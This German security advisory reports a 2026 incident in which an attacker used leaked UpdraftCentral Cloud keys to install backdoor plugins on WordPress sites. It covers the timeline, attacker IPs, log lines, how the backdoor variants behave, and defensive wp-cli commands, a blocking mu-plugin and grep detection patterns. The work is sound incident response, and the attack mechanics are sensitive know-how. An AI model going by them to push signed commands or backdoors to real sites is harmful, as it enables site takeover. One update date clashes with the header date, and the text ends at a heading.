Kritisches Sicherheitsproblem bei UpdraftCentral: Ein Angreifer mit den Schlüsseln des Dienstes installierte eine Hintertür auf unseren Websites

Kritisches Sicherheitsproblem bei UpdraftCentral: Ein Angreifer mit den Schlüsseln des Dienstes installierte eine Hintertür auf unseren Websites

Zusammenfassung

Stand: 22. Oktober 2026, zuletzt aktualisiert am 22.10.2026 (neue Stellungnahmen des Herstellers, Prüfskript v9). Die Liste der Änderungen steht am Ende des Artikels. Wir ergänzen den Text, wenn es Neuigkeiten gibt.

Aktualisierung 19.10.2026: TeamUpdraft hat einen Sicherheitsvorfall bestätigt. Am Wochenende des 17. und 18. Oktober hatte ein Angreifer unbefugten Zugriff auf teamupdraft.com und hat laut Hersteller wahrscheinlich die Kundendatenbank erbeutet: Namen, E-Mail-Adressen, Rechnungsadressen, Bestellhistorie, Passwort-Hashes, Einstellungen der Zwei-Faktor-Authentifizierung sowie die Verbindungsschlüssel für UpdraftCentral (Cloud), UpdraftVault und UpdraftClone. Die Schlüssel, mit denen der Angreifer seine Befehle signierte, stammen also direkt vom Hersteller. Der Hersteller hat alle Konten abgemeldet, die Schlüssel für UpdraftVault und UpdraftClone ersetzt und bereitet eine Notfallversion von UpdraftPlus vor, die alle UpdraftCentral-Verbindungen automatisch trennt, die vor dem 18.10.2026 um 22:00 BST (23:00 MESZ) angelegt wurden. Später korrigierte er diese Grenze in der Stellungnahme auf 13:07 BST (14:07 MESZ), siehe unten. Selbst gehostete UpdraftCentral-Dashboards sind laut Hersteller nicht betroffen.

Aktualisierung 19.10.2026 (abends): Patchstack hat eine eigene Analyse veröffentlicht, die unsere Ergebnisse bestätigt und erweitert. Patchstack sah 99 verschiedene Namen von Hintertür-Plugins, installiert zwischen dem 18.10. um 15:32 und dem 19.10. um 9:23, sowie eine zweite IP-Adresse des Angreifers, 2a09:bac5:4e21:2e3c::49b:9. Auch weitere betroffene Administratoren haben sich gemeldet. Einer von ihnen fand eine zweite Variante der Hintertür, die einen Administrator anlegt und ihn zu verstecken versucht. Wir beschreiben sie unten und haben das Prüfskript so angepasst, dass es sie erkennt. Wenn Sie das Skript schon früher ausgeführt haben, führen Sie es erneut aus.

Aktualisierung 19.10.2026 (funktionierende Variante): Ein weiterer Administrator bestätigte, dass eine funktionierende Version der Hintertür im Umlauf ist. Auf seinen Websites funktionierten drei von vier Hintertüren, jede mit anderem Namen und anderer Beschreibung. Ohne den Parameter m meldet sie den Angreifer als vorhandenen Administrator an und hinterlässt keine Spur in der Datenbank. Prüfen Sie daher auch das Access-Log (siehe unten). Wir haben das Prüfskript auf Version 3 aktualisiert, die solche Proben anhand des Codes erkennt.

Aktualisierung 19.10.2026 (Probenanalyse): Ein weiterer betroffener Administrator hat uns drei Hintertüren von seinen Websites geschickt. Der Angreifer installierte dort zuerst die fehlerhafte erste Variante und später funktionierende Hintertüren. Wenn Sie die erste Variante gefunden, den UpdraftCentral-Schlüssel aber nicht sofort gelöscht haben, prüfen Sie die Website erneut. So konnten wir eine Probe der zweiten Variante selbst analysieren. Das Verstecken des Kontos funktioniert darin nicht, der angelegte Administrator erscheint also ganz normal in der Benutzerliste. Die dritte Probe ist eine neue minimale Variante, die den Angreifer nur als vorhandenen Administrator anmeldet. Das Prüfskript erkennt sie ab Version 4.

Aktualisierung 19.10.2026 (der Angreifer kommt zurück): Der Angreifer ist weiterhin aktiv. Im Laufe des 19. Oktober schickte er weitere Befehle an alle drei unserer Websites, zuletzt um 20:27 MESZ. Auf der Website eines anderen Administrators löschte er um 12:22 MESZ mit plugin.delete_plugin die fehlerhafte Hintertür und lud zwei Sekunden später eine neue hoch. Bei uns blockierte das mu-Plugin aus Schritt 3 diese Versuche, und die Schlüssel waren bereits gelöscht. Löschen Sie den UpdraftCentral-Schlüssel auch dann, wenn Sie die Hintertür schon entfernt haben. Vom mu-Plugin blockierte Versuche erscheinen nicht im UpdraftCentral-Log, sondern nur im Access-Log.

Aktualisierung 19.10.2026 (Notfallversion): Der Hersteller veröffentlichte UpdraftPlus 1.26.12 / 2.26.12, das die UpdraftCentral-Cloud-Schlüssel aus der Zeit vor dem Vorfall löschen sollte. Wir haben im Code geprüft, dass es wegen eines Fehlers keinen einzigen Schlüssel löscht. Der Hersteller hat das am selben Abend in 1.26.13 / 2.26.13 behoben. Aktualisieren Sie auf 1.26.13 / 2.26.13 oder neuer, nicht auf 1.26.12 / 2.26.12. Auch 1.26.13 löscht aber keine Schlüssel, die am 18.10. zwischen 14:07 und 23:00 MESZ angelegt wurden, obwohl der Hersteller in seiner Stellungnahme ursprünglich 23:00 MESZ als Grenze nannte. In der am 23.10. aktualisierten Stellungnahme nennt er 14:07 MESZ (13:07 BST), was dem Code entspricht. Löschen Sie später am 18.10. angelegte Schlüssel sicherheitshalber von Hand; die Anleitung des Herstellers rät ohnehin, den Schlüssel auf jeder Website zu löschen. Die Angriffe auf unsere Websites begannen erst, nachdem der Hersteller den Vorfall bestätigt und den Zugang des Angreifers gesperrt hatte: Gestohlene Schlüssel funktionieren, bis die Website sie löscht. Unsere Websites mit der Premium-Version haben es am 20.10. automatisch erhalten.

Aktualisierung 20.10.2026 (Schlüssel ohne Wissen des Betreibers): Sie können einen UpdraftCentral-Schlüssel haben, auch wenn Sie UpdraftCentral nie benutzt haben. Beim Anmelden am teamupdraft.com-Konto in UpdraftPlus, kostenlos wie Premium, ist das Kontrollkästchen „Add this website to UpdraftCentral“ vorausgewählt. Prüfen Sie daher jede Website mit UpdraftPlus auf einen Schlüssel. Ein weiterer betroffener Administrator schrieb uns, UpdraftCentral nie eingeschaltet zu haben. Die Website nutzte Wordfence, Patchstack und Cloudflare, und keines davon hat den gültig signierten UpdraftCentral-Befehl gestoppt.

Aktualisierung 20.10.2026 (versteckte Hintertür): Ein weiterer Administrator schickte uns drei Hintertüren von einer einzigen Website. Eine davon, „Site Health Cache“, versteckt sich aus der Plugin-Liste im Admin, dort sehen Sie sie also nicht. Verlassen Sie sich deshalb auf das Prüfskript, das die Dateien direkt von der Festplatte liest. Auf dieser Website lud der Angreifer in weniger als zehn Stunden die minimale, die funktionierende und die fehlerhafte Variante hoch.

Aktualisierung 20.10.2026 (weitere Proben): Drei Administratoren haben uns zehn weitere Proben geschickt. Alle gehören zu den drei bekannten Varianten; es ändern sich nur Name, Beschreibung, falscher Autor und Token. Auf zwei Websites eines Administrators waren funktionierende Hintertüren mehr als drei Stunden aktiv, bevor die fehlerhafte Variante die Website abstürzen ließ. Eine abgestürzte Website heißt also nicht, dass der Angreifer vorher nicht hineinkam. Prüfen Sie auch dann das Access-Log. Auch dieser Administrator hat UpdraftCentral nach eigener Aussage nie benutzt.

Aktualisierung 20.10.2026 (der Angreifer probiert die Hintertüren aus): Am 20. Oktober probierte der Angreifer die geheimen Auslöser bereits entfernter Hintertüren direkt auf mindestens sechs Websites von vier Administratoren aus, darunter zwei unserer (bei uns um 11:39 und 11:57 UTC). Auf unseren Websites verwendete er die richtigen Tokens. Die Anfragen kamen von den IP-Adressen 178.83.37.220, 178.83.37.243, 178.94.218.31 und aus den Bereichen 69.33.133.x, 69.33.134.x und 69.33.144.x, immer mit dem gekürzten User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36. Überall kam die normale Seite oder ein Fehler zurück, weil die Hintertüren nicht mehr da waren. Ist eine Hintertür noch auf Ihrer Website, nutzt der Angreifer sie aktiv. Durchsuchen Sie Ihr Access-Log wie unten beschrieben.

Aktualisierung 21.10.2026 (der Angreifer schickt weiter Befehle): Auch am Morgen des 21. Oktober schickte der Angreifer von 43.250.53.42 weitere UpdraftCentral-Befehle an zwei unserer Websites (07:10 bis 09:21 UTC), also nach der Veröffentlichung von 1.26.13 / 2.26.13. Bei uns stoppte sie das mu-Plugin, und die Schlüssel existierten nicht mehr. Der Angreifer nutzt die geleakten Schlüssel also weiterhin. Gefährdet bleiben Websites, die nicht 1.26.13 / 2.26.13 haben und den Schlüssel nicht von Hand gelöscht haben.

Betroffender Dienst UpdraftCentral, dessen Client Bestandteil des Plugins UpdraftPlus ist, kostenlos wie Premium
Betroffene Versionenalle UpdraftPlus-Versionen bis 1.26.12 und 2.26.12, die über eine spätestens am 18.10.2026 angelegte Verbindung mit UpdraftCentral Cloud verbunden sind. Version 1.26.13 / 2.26.13 löscht Schlüssel, die vor dem 18.10. um 14:07 MESZ (13:07 BST) angelegt wurden. Diese Grenze nennt seit der Aktualisierung vom 23.10. auch die Stellungnahme des Herstellers (ursprünglich 23:00 MESZ). Später am 18.10. angelegte Schlüssel bleiben auf der Website; löschen Sie sie sicherheitshalber von Hand. Bei verbundenen Websites mit Versionen bis 1.26.4 und 2.26.4 braucht ein Angreifer nicht einmal gültige Schlüssel (CVE-2026-10795).
Wie viele WebsitesUpdraftPlus hat laut wordpress.org über 4 Millionen aktive Installationen, und der Hersteller bezeichnet es als das weltweit beliebteste Plugin für geplante Backups. Beim Juni-Fehler im selben Kanal schätzte der Hersteller, dass weniger als 10 % der Nutzer einen UpdraftCentral- oder Migrator-Schlüssel haben, also bis zu rund 400.000 Websites. Wie viele davon der Angreifer getroffen hat, wissen wir nicht.
Fixder Hersteller veröffentlichte am 19.10. UpdraftPlus 1.26.12 / 2.26.12, das die alten UpdraftCentral-Cloud-Schlüssel löschen sollte, wegen eines Fehlers aber keinen löscht. Erst 1.26.13 / 2.26.13 vom Abend des 19.10. funktioniert: Bei jedem Seitenaufruf löscht es UpdraftCentral-Cloud-Schlüssel, die vor dem 18.10.2026 um 14:07 MESZ angelegt wurden. Schlüssel aus der Zeit zwischen 14:07 und 23:00 MESZ (die ursprüngliche Grenze des Herstellers) müssen Sie von Hand löschen, ebenso auf Websites, die noch nicht aktualisiert sind. Die Anleitung des Herstellers rät ohnehin, den Schlüssel auf jeder Website zu löschen. Laut Hersteller hat WordPress.org Version 1.26.13 automatisch an alle Websites verteilt.
Übergangslösungdie UpdraftCentral-Verbindung entfernen, die Website mit unserem Skript prüfen, das Passwort für teamupdraft.com ändern und optional UpdraftCentral-Befehle mit einem kleinen mu-Plugin sperren (siehe unten). UpdraftPlus muss nicht deinstalliert werden, Backups funktionieren weiter.

In der Nacht zum 19. Oktober 2026 schickte ein Angreifer von der IP-Adresse 43.250.53.42 über den Dienst UpdraftCentral den Befehl plugin.upload_plugin an drei unserer WordPress-Websites. UpdraftCentral ist ein Dienst zur Fernverwaltung von Websites von TeamUpdraft, und sein Client steckt in jeder Kopie des Plugins UpdraftPlus. Auf zwei unserer Websites ging der Befehl durch, und WordPress installierte und aktivierte ein unbekanntes Plugin. Auf der dritten scheiterte er an den Berechtigungen.

Der Fehler lag nicht bei uns. Alle drei Websites liefen mit dem aktuellen WordPress 7.1.3 und UpdraftPlus 2.26.11, das gegen die Juni-Schwachstelle CVE-2026-10795 gepatcht ist. Der Angreifer ist nicht in unsere Server eingedrungen und hat keine Schwäche in unserer Konfiguration ausgenutzt. Er kam über den Fernverwaltungskanal von UpdraftCentral und signierte seine Befehle mit gültigen privaten Dashboard-Schlüsseln. Diese erzeugt und verwahrt der Dienst UpdraftCentral Cloud, auf unseren Servern waren sie nie. Wer sie besitzt, kann auf jeder verbundenen Website ohne Wissen des Betreibers beliebigen Code installieren und ausführen. Deshalb halten wir das für ein kritisches Sicherheitsproblem des Dienstes UpdraftCentral.

Wer gefährdet ist: jede Website mit UpdraftPlus, kostenlos oder Premium, die mit UpdraftCentral verbunden ist, also einen UpdraftCentral-Schlüssel hat. Jede der über 4 Millionen UpdraftPlus-Installationen enthält den UpdraftCentral-Client. Websites, die nicht mit UpdraftCentral verbunden sind, gefährdet dieser Angriff nicht, weil sie ohne Schlüssel keine UpdraftCentral-Befehle annehmen. Unsere Websites waren mit UpdraftCentral Cloud verbunden, dem von TeamUpdraft betriebenen Dashboard. Laut Hersteller sind selbst gehostete UpdraftCentral-Dashboards nicht betroffen. Abgeflossen sind aber auch die Schlüssel für UpdraftVault und UpdraftClone, die der Hersteller inzwischen ersetzt hat. Der Schlüssel kann auch ohne Wissen des Betreibers entstanden sein: Beim Anmelden am teamupdraft.com-Konto im Tab Premium / Extensions bieten die kostenlose und die Premium-Version das Kontrollkästchen „Add this website to UpdraftCentral“ an, das vorausgewählt ist, solange die Website keinen Schlüssel hat (geprüft im Code der Versionen 2.26.11 und 1.26.13). Die bloße Installation des Plugins erzeugt keinen Schlüssel, erst die Anmeldung an einem teamupdraft.com-Konto im Plugin. Betroffen sind daher vor allem Premium-Websites, deren Betreiber sich für Lizenz und Updates anmelden, und kostenlose Websites, die irgendwann mit einem Konto verbunden wurden.

Es handelt sich nicht um die Schwachstelle CVE-2026-10795, über die Wordfence im Juni berichtete: Gegen sie waren unsere Websites gepatcht, und Versuche, sie auszunutzen, schlugen dort fehl.

Das Plugin ist eine Hintertür. Über einen geheimen Link sollte es ein Konto mit getarnten Administratorrechten anlegen und den Angreifer direkt darin anmelden. Der Autor hat jedoch einen Fehler in den Code eingebaut, sodass die Hintertür auf unseren Websites nie funktionierte. Stattdessen brachte sie jede Anfrage an die Website zum Absturz, die nicht aus dem Cache kam, und WordPress schickte uns darüber eine E-Mail. So fanden wir sie innerhalb von Minuten bis Stunden. Andere Administratoren haben inzwischen jedoch funktionierende Varianten gefunden, die wir weiter unten beschreiben.

Wir haben den Vorfall am 19. Oktober an TeamUpdraft gemeldet und um eine Erklärung gebeten, wie die Schlüssel zum Angreifer gelangt sind.

Wenn Ihre Website mit UpdraftCentral verbunden ist, betrachten Sie sie als potenziell kompromittiert, bis Sie sie geprüft haben. Entfernen Sie die Verbindung sofort und prüfen Sie die Website wie unten beschrieben. Stand 19. Oktober 2026 haben wir keine öffentliche Erwähnung dieser Hintertür oder eines ähnlichen Angriffs nach dem Juni-Fix gefunden.

Was Sie jetzt tun sollten

1. Entfernen Sie die UpdraftCentral-Verbindung

Aktualisieren Sie UpdraftPlus auf Version 1.26.13 (kostenlos) oder 2.26.13 (Premium) oder neuer. Sie löscht UpdraftCentral-Cloud-Schlüssel, die vor dem 18.10.2026 um 14:07 MESZ angelegt wurden, von selbst. Version 1.26.12 / 2.26.12 löscht sie nicht. Prüfen Sie danach trotzdem, ob kein Schlüssel auf der Website geblieben ist:

Öffnen Sie im WordPress-Admin Einstellungen → UpdraftPlus Backups → Reiter „Advanced Tools“ → „UpdraftCentral“. Klicken Sie auf „Manage existing keys (N)…“ und bei jedem Schlüssel auf „Delete…“. Steht dort kein Schlüssel, ist die Website nicht verbunden.

Mit Zugriff auf die Kommandozeile erledigt das derselbe Befehl im WordPress-Stammverzeichnis:

wp option delete updraft_central_localkeys

Entfernen Sie die Website danach auch im UpdraftCentral-Dashboard (teamupdraft.com → My account → UpdraftCentral → ••• bei der Website → Remove site). Das Entfernen im Dashboard allein reicht nicht. Der Angreifer hat den privaten Schlüssel des Dashboards, entscheidend ist also das Löschen des Schlüssels auf der Website.

Laut Hersteller können Sie die Website wieder verbinden, nachdem Sie den Schlüssel gelöscht, die Website geprüft und die Administrator-Passwörter geändert haben. Ändern Sie vorher Ihr Passwort für teamupdraft.com (Adresse selbst in den Browser eingeben, keinem Link aus einer E-Mail folgen), ändern Sie dasselbe Passwort überall, wo Sie es verwendet haben, und richten Sie die Zwei-Faktor-Authentifizierung neu ein. Falls Sie unser Sperr-mu-Plugin eingesetzt haben, entfernen Sie es vor dem erneuten Verbinden. Wer UpdraftVault nutzt, muss seine Websites mit den neuen Zugangsdaten neu verbinden.

Hat die Website auch UpdraftPlus-Migrator-Schlüssel (Tab „Migrate / Clone“) und migrieren Sie gerade nicht, löschen Sie auch diese, etwa mit wp option delete updraft_migrator_localkeys. Sie nutzen denselben Kanal und erlauben einer anderen Website, Sicherungsdateien an Ihre Website zu senden. Einen Missbrauch haben wir bisher nicht gesehen.

UpdraftPlus Premium speichert das Passwort des teamupdraft.com-Kontos so in der Datenbank, wie Sie es eingeben (Option updraftplus-addons_options), und löscht es erst nach einer erfolgreichen Anmeldung per Token. Es kann daher in der Datenbank und in deren Sicherungen bleiben. In der Praxis bleibt es oft dauerhaft dort. Ein Leser fand es auf allen drei seiner Premium-Websites und in Sicherungen bis zurück ins Jahr 2022 und stellte fest, dass schon eine einfache Verbindung mit dem Konto im Tab Premium / Extensions es speichert. Wir fanden es auf einer unserer drei Websites. Der Hersteller sagt, das Passwort werde nach der ersten Verbindung entfernt; der Code entfernt es aber erst, nachdem Add-ons erfolgreich per Token beansprucht wurden. Mit dem folgenden Befehl können Sie es entfernen; Plugin-Updates brauchen es nicht. Ändern Sie danach das Kontopasswort. Wenn Sie sich im Plugin erneut am Konto anmelden, entfernen Sie das Häkchen bei „Add this website to UpdraftCentral“. In den bisher analysierten Proben dieser Kampagne haben wir keinen Code gefunden, der dieses Passwort liest, aber jede funktionierende Hintertür und jedes hochgeladene Plugin kann es lesen.

wp eval '$o = get_option("updraftplus-addons_options"); if (is_array($o)) { unset($o["password"]); update_option("updraftplus-addons_options", $o); }'

2. Prüfen Sie, ob die Hintertür auf Ihrer Website ist

Ohne Kommandozeile:

  • Klicken Sie auf demselben UpdraftCentral-Bildschirm auf „View recent UpdraftCentral log events…“. Suchen Sie nach den Zeilen „Command received: plugin.upload_plugin“, „Command received: plugin.delete_plugin“ und „probe.central.updraftplus.com“. Steht die Website hinter einem Proxy wie Cloudflare, zeigt das Log die IP-Adresse des Proxys, nicht die des Angreifers. Zeilen mit „Signature verification failed; discarding“ bedeuten, dass der Angreifer es versucht hat, sein Schlüssel aber nicht zur Website passte und die Website den Befehl verworfen hat.
  • Suchen Sie in der Plugin-Liste nach einem Plugin, das Sie nicht installiert haben. Die erste Variante hat die Beschreibung „Small maintenance toolkit: keeps option storage tidy.“ und einen Namen aus zwei Wörtern, meist mit drei zusätzlichen Zeichen, zum Beispiel „Load Stack 35C“ oder „Query Shelf“. Die anderen Varianten haben jedes Mal einen anderen Namen und eine andere Beschreibung, zum Beispiel „Boost Kit“, „Cache Smith“ oder „Site Health 364F“. Manche Varianten verstecken sich jedoch aus der Plugin-Liste, ein Blick darauf genügt also nicht.
  • Suchen Sie in der Benutzerliste nach einem Konto mit dem Namen „Site Tools“ oder einer E-Mail-Adresse bei @example.org oder @example.com. Die funktionierende Variante legt einen Administrator an und versucht ihn zu verstecken, er erscheint in der Liste aber ganz normal.
  • Meldet eine Hintertür den Angreifer als vorhandenen Administrator an, legt sie kein Konto an. Dann verraten sie nur das Plugin und das Access-Log, prüfen Sie die Website daher auch mit dem Skript und sehen Sie ins Access-Log.

Ist die erste Variante der Hintertür auf der Website, funktioniert der Admin womöglich gar nicht, weil das Plugin jede Anfrage abstürzen lässt. Verwenden Sie dann die Kommandozeile.

Mit Kommandozeile speichern Sie unser Prüfskript vom Ende dieses Artikels als check-updraftcentral.php im WordPress-Stammverzeichnis und führen aus:

wp eval-file check-updraftcentral.php --skip-plugins --skip-themes

Das Skript liest nur und ändert nichts. Der Schalter --skip-plugins ist wichtig, weil eine installierte Hintertür sonst auch WP-CLI abstürzen lässt. Zeilen mit [ALERT] sind Spuren des Angriffs, [WARN] heißt prüfen, [OK] ist ein sauberes Ergebnis. Ein protokollierter Befehl heißt noch nicht, dass das Plugin installiert wurde (auf einer unserer Websites wurde es das nicht), deshalb prüft das Skript auch Dateien, Datenbankoptionen und Konten. Meldet es etwas mit [ALERT], lesen Sie weiter bei „Was tun, wenn Sie sie finden“.

UpdraftPlus speichert im UpdraftCentral-Log nur die letzten 50 Ereignisse. Auf einer Website, die Scanner häufig besuchen, kann der Eintrag über den Angriff aus dem Log fallen, und das Skript meldet dann beim Log [OK]. Wenn Sie Zugriff auf die Logs des Webservers haben, durchsuchen Sie auch diese (Pfad an Ihren Server anpassen, bei nginx etwa /var/log/nginx/):

grep 'class-udrpc.php"' /var/log/apache2/*access*

Der Befehl findet UpdraftCentral-Anfragen ohne Bibliotheksversion im User-Agent-Header, wie sie der Angreifer geschickt hat. Das echte Dashboard sendet class-udrpc.php/2.0; https://teamupdraft.com, der Befehl erfasst es also nicht.

Die funktionierende Variante der Hintertür hinterlässt in der Datenbank womöglich gar keine Spur: Ohne den Parameter m meldet sie den Angreifer als vorhandenen Administrator an. Suchen Sie im Access-Log daher auch nach Anfragen an die Auslöser beider Varianten:

zgrep -E '[?&](_[0-9a-f]{6}|[0-9a-f]{12})=[^&" ]{32}[& ]' /var/log/apache2/*access*

Prüfen Sie jede gefundene Zeile. Status 302 bedeutet eine Weiterleitung in den Admin, also wahrscheinlich eine erfolgreiche Anmeldung des Angreifers. Status 500 bedeutet, dass die fehlerhafte Variante noch auf der Website ist. Status 200 mit der üblichen Seitengröße bedeutet, dass die Hintertür nicht mehr da ist. zgrep durchsucht auch ältere komprimierte Logs.

3. Optional: Sperren Sie UpdraftCentral-Befehle vollständig

Wenn Sie sicher sein wollen, dass die Website keinen UpdraftCentral-Befehl ausführt, selbst wenn noch ein Schlüssel darauf liegt, speichern Sie im Verzeichnis wp-content/mu-plugins/ eine Datei block-updraftcentral.php mit diesem Inhalt:

<?php
// Nethemba: block all UpdraftCentral (UDRPC) commands until the vendor resolves the October 2026 incident.
if ( isset( $_POST['udrpc_message'] ) ) {
	http_response_code( 403 );
	exit;
}

WordPress lädt Dateien in mu-plugins vor den regulären Plugins, die Anfrage endet also, bevor UpdraftPlus sie verarbeitet. Das sperrt auch die Migration von Websites über UpdraftPlus Migrator, der denselben Kanal nutzt. Löschen Sie die Datei, sobald der Hersteller das Problem erklärt und behoben hat.

Ein weiterer günstiger Schutz: Kann PHP nicht in wp-content/plugins schreiben (zum Beispiel anderer Eigentümer des Verzeichnisses und Rechte 750), nimmt die Website den signierten Befehl zwar an, die Plugin-Installation schlägt aber fehl. Auf einer der betroffenen Websites hat das den Angriff gestoppt. Plugins müssen dann anders aktualisiert werden, etwa per WP-CLI als Eigentümer des Verzeichnisses.

Wenn Sie Wordfence nutzen, aktualisieren Sie die Firewall-Regeln (Wordfence → Firewall → All Firewall Options → Manually Refresh Rules). Wordfence hat eine Regel veröffentlicht, die UpdraftCentral-Befehle blockiert, auch für die kostenlose Version. Die Regel gilt aber nur für UpdraftPlus bis 1.26.11 und vor 2.26.12; eine auf 1.26.12 / 2.26.12 aktualisierte Website schützt sie also nicht mehr, obwohl diese Versionen die Schlüssel nicht löschen. Aktualisieren Sie daher direkt auf 1.26.13 / 2.26.13.

Wie wir darauf gestoßen sind

Um 5:38 erhielten wir eine automatische WordPress-E-Mail: „WordPress caught an error with one of your plugins, Load Stack 35C.“ Ein Plugin dieses Namens hatten wir nie installiert. Die Fehlermeldung lautete Uncaught Error: Undefined constant LoadStack35c::FIELD, und seit 4:14 beantwortete unsere Website jede Anfrage mit Fehler 500.

Alle Dateien im Verzeichnis wp-content/plugins/load-stack-35c/ hatten dieselbe Änderungszeit, 4:14:30. Eine Sekunde später änderte sich das Verzeichnis wp-content/upgrade/, das WordPress zum Entpacken installierter Plugins nutzt. Das Plugin kam also über den regulären WordPress-Installer, nicht als auf die Platte gelegte Datei. Genau in dieser Sekunde steht im Access-Log eine einzige Anfrage:

43.250.53.42 - - [19/Oct/2026:04:14:30 +0200] "POST / HTTP/1.1" 200 8454 "-" "WordPress/6.4; class-udrpc.php"

class-udrpc.php ist die Bibliothek, über die UpdraftPlus Befehle von UpdraftCentral empfängt. Ihr eigenes Log (die Datenbankoption updraftcentral_client_log) bestätigte es: Command received: plugin.upload_plugin.

Zeitablauf

Wir bezeichnen die Websites als A, B und C. Alle Zeiten in MESZ. Alle Anfragen kamen von 43.250.53.42 (Hoster RedSwitches) mit dem User-Agent-Header WordPress/6.4; class-udrpc.php.

WebsiteSondierungPlugin-InstallationErgebnis
Website C19.10. 0:41:326:05:31gescheitert, der Schlüssel gehörte einem Benutzer ohne Recht, Plugins zu installieren
Website A2:14:054:14:30Hintertür „Load Stack 35C“ aktiv, Website bis 6:13 nicht erreichbar
Website B2:39:446:53:49Hintertür „Text Gantry Eb0“ aktiv, um 6:56 entfernt

Die Sondierung ist eine Nachricht an einen nicht existierenden Schlüssel, probe.central.updraftplus.com. Die Website antwortet, dass sie die Nachricht nicht versteht, und verrät damit, dass sie UpdraftCentral-Befehle annimmt. Den nächsten Befehl schickte der Angreifer bereits an den echten Schlüssel 0.central.updraftplus.com. Auf allen drei Websites lief der Angriff gleich ab, vom selben Angreifer, im Abstand weniger Stunden.

Ein anderer Administrator schickte uns Logs, nach denen dieselbe IP 43.250.53.42 auf zwei seiner Websites schon am 23. September 2026 andere Angriffe versuchte: eine REST-API-Abfrage der Seitenliste und etwa zehn Path-Traversal-Versuche im Parameter pagename. Der Angreifer hat diese Websites also fast einen Monat vor dem Angriff über UpdraftCentral ausgekundschaftet.

Der Angreifer kam zurück. Am 19. Oktober erreichten weitere UpdraftCentral-Anfragen Website A um 10:57:48, Website B um 11:14:19 und Website C um 12:03:14, jeweils zwei in derselben Sekunde, und Website C noch einmal um 20:27:50. Unser mu-Plugin hat sie alle bereits mit 403 abgewiesen, daher wissen wir nicht, was sie enthielten. Ein anderer Administrator schickte uns sein UpdraftCentral-Log, in dem der Angreifer um 12:22:48 plugin.delete_plugin und um 12:22:50 ein neues plugin.upload_plugin schickte und so die fehlerhafte Hintertür durch eine andere ersetzte. Unsere Anfragepaare gehören wahrscheinlich zu demselben Austausch. UpdraftPlus schreibt jeden Befehl, der die Signaturprüfung besteht, noch vor der Ausführung als „Command received“ ins UpdraftCentral-Log (geprüft im Code der Version 2.26.11). Das Log behält aber nur die letzten 50 Ereignisse, und vom mu-Plugin gestoppte Anfragen stehen nicht darin.

Auf der Website eines weiteren Administrators schickte der Angreifer die Sondierung am 18.10. um 23:10:30 MESZ und lud danach drei verschiedene Hintertüren hoch: um 23:39:52 die versteckte minimale „Site Health Cache“, um 0:34:34 die funktionierende „Fast2engine“ und am 19.10. um 9:28:47 die fehlerhafte „Post Dock 776“. Ein Anfragepaar um 11:40:45 und 11:40:46 scheiterte dort mit Fehler 500, weil die fehlerhafte Hintertür bereits die ganze Website abstürzen ließ. Der Angreifer schickt also nicht immer zuerst die fehlerhafte Variante, und eine Website kann mehrere Hintertüren erhalten.

Wie der Angriff ablief

Beim Verbinden mit UpdraftCentral erzeugt die Website ein RSA-Schlüsselpaar und schickt den öffentlichen Schlüssel an den Dienst UpdraftCentral Cloud. Der Dienst hat ein eigenes Schlüsselpaar und schickt der Website nur seinen öffentlichen Schlüssel. Der private Schlüssel des Dashboards bleibt beim Dienst. Jeder Befehl muss für den Schlüssel der Website verschlüsselt und mit dem privaten Schlüssel des Dashboards signiert sein. Die Website führt ihn dann mit den Rechten des Benutzers aus, der den Schlüssel in WordPress angelegt hat.

Der Befehl plugin.upload_plugin bestand auf zwei Websites diese gesamte Prüfung. Website A haben wir im Detail untersucht und folgende Erklärungen ausgeschlossen:

  1. Die bekannte Schwachstelle CVE-2026-10795. Sie betrifft UpdraftPlus bis 1.26.4 (Premium bis 2.26.4). Unsere Websites liefen mit 2.26.11. Ausnutzungsversuche sehen wir in den Logs der Websites B und C seit Juni, von Dutzenden IP-Adressen, und alle endeten mit „Could not decrypt incoming message“.
  2. Ein verändertes Plugin. Die Dateien class-udrpc2.php, central/bootstrap.php, central/listener.php und central/host.php sind Byte für Byte identisch mit der offiziellen Version 1.26.11 von wordpress.org.
  3. Das ältere unsignierte Nachrichtenformat. Der Code lehnt es für UpdraftCentral-Schlüssel ab, und der Eintrag „Command received“ entsteht erst nach dieser Prüfung.
  4. Ein untergeschobener Dashboard-Schlüssel. Die Schlüssel-Fingerabdrücke sind in den täglichen Backups vom 15. bis 18. Oktober und in der Live-Datenbank gleich, und in den Access-Logs hat niemand die Funktion zum Schlüsseltausch aufgerufen.
  5. Schwache Kryptografie. Website- und Dashboard-Schlüssel sind RSA mit 2048 Bit und Exponent 65537, und UpdraftPlus enthält phpseclib 2.0.55, in dem der bekannte Fehler bei der Signaturprüfung behoben ist.
  6. Ein kompromittierter wp-admin. Es sind keine unbekannten Administratoren hinzugekommen, die Prüfsummen von Kern und Plugins stimmen, und die Logs zeigen keinen Plugin-Upload über den Admin.

Der Angreifer besaß also die privaten Dashboard-Schlüssel aller drei Verbindungen gleichzeitig. Auf unseren Servern waren diese Schlüssel nie, sie konnten von dort also nicht abfließen. Die Befehle kamen auch nicht von einem Server von TeamUpdraft. Das echte Dashboard schickte im März und April 2026 Befehle an Website B mit diesem User-Agent-Header:

WordPress/6.8.5; class-udrpc.php/2.0; https://teamupdraft.com

Der Angreifer schickte WordPress/6.4; class-udrpc.php, ohne Bibliotheksversion und ohne URL, von seinem eigenen Server. Die Schlüssel sind also aus der Umgebung von UpdraftCentral Cloud abgeflossen, und der Angreifer hat sie außerhalb davon verwendet.

TeamUpdraft bestätigte am 19. Oktober, dass ein Angreifer am Wochenende des 17. und 18. Oktober Zugriff auf teamupdraft.com und wahrscheinlich auch auf die Kundendatenbank einschließlich der UpdraftCentral-Schlüssel hatte. Die Schlüssel sind also aus der Infrastruktur des Herstellers abgeflossen. Das passt zum Zeitablauf: Die Schlüssel für die Websites B und C existierten seit November 2025, und der Angreifer verwendete sie erst in der Nacht vom 18. auf den 19. Oktober, also direkt nach dem Einbruch. Wie der Angreifer in teamupdraft.com eingedrungen ist, hat der Hersteller nicht mitgeteilt.

Auf Website C scheiterte der Angriff durch Zufall. Den Schlüssel hatte dort im November 2025 ein Benutzer angelegt, der kein Administrator mehr ist. Vor der Installation prüft UpdraftCentral, ob der Eigentümer des Schlüssels die Rechte install_plugins und activate_plugins hat. Er hatte keines davon.

Warum das ein kritisches UpdraftCentral-Problem ist

